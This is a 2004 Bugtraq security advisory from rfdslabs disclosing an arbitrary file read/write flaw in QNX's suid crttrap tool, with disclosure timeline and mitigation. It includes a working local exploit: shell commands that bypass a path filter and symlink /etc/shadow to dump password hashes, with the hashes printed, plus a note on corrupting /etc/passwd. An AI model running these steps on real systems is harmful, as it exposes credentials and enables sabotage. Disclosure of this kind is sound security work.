bugtraq - QNX crrtrap arbitrary file read/write vulnerability [RLSA

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Date: 29 Dec 2004 02:30:59 -0000
From: Julio Cesar Fort <julio@...slabs.com.br>
To: bugtraq@...urityfocus.com
Subject: QNX crrtrap arbitrary file read/write vulnerability [RLSA_06-2004]

                *** rfdslabs security advisory ***

Title: QNX crrtrap arbitrary file read/write vulnerability [RLSA_06-2004]
Versions: QNX RTOS 2.4, 4.25, 6.1.0, 6.2.0 (+ Update Patch A)
Vendor: http://www.qnx.com
Date: Dec 11 2004

Author: Julio Cesar Fort <julio *NO_SPAM* rfdslabs com br>

1. Introduction

   crrtrap is a tool to detect video hardware and starts the correct driver for QNX.

2. Details

   crttrap has a '-c' flag to specify where trap file will be written. Combined with 'trap' flag it is possible to read/write any file in the disk.

By default crttrap writes and read trap files in "/etc/system/config". Once this directory is owned by root we don't have permission to write. It filters "../" to prevent directory transversal vulnerabilities. In order to bypass this protection we noticed it doesn't check only for "/".
This way is possible to make it create a sub directory, giving our group read and write priviledges. Now we are able to manipulate our trap file.

$ crttrap -c tmp/rfdslabs trap
/usr/photon/bin/devgt-iographics -dldevg-svga.so -I0 -d0x5333, 0x8c12
/usr/photon/bin/devgt-iographics -dldevg-vesabios.so -I0 -d0x5333, 0x8c12
crttrap: wrote config file as /etc/system/config/tmp/rfdslabs
$ cd /etc/system/config/tmp
$ ls -la
total 52
drwxrwxr-x    2 root 100         2048 Dec 11 12:40 .
drwxrwxr-x    3 root root        2048 Dec 11 12:35 ..
-rw-r--r--    1 root 100        21671 Dec 11 12:40 rfdslabs

$ rm -f rfdslabs
$ ln -s /etc/shadow rfdslabs
$ crttrap -c tmp/rfdslabs dump
root:21QjUKxP9gEJK:0:0:0
sandimas:91UzHxvt3x1n2:0:0:0

We are also able to overwrite any file with 'trap' switch. As an example, an attacker can corrupt  '/etc/passwd' and make login attempts fail everytime.
See www.rfdslabs.com.br for another file deletion vulnerability in crttrap.

PS: In 31 May 2002, Simon Oullette had found a bug in crttrap '-c' flag in QNX 4.25. But his exploitation technique won't work with newest versions because crttrap opens "/etc/system/config" and its subdirectories.

3. Solution

   No official solution yet. We suggest remove crttrap suid bit until QNX don't release a patch.

4. Timeline

10 Dec 2004: Vulnerability detected;
11 Dec 2004: Advisory written; rfdslabs contacts QNX;
20 Dec 2004: QNX replies back rfdslabs;
28 Dec 2004: Advisory released to public.

Thanks to Lucien Rocha, Carlos Barros (barrossecurity.com), George Fleury,
Rodrigo Costa (NERV).

www.rfdslabs.com.br - computers, sex, human mind, music and more
Recife, PE, Brazil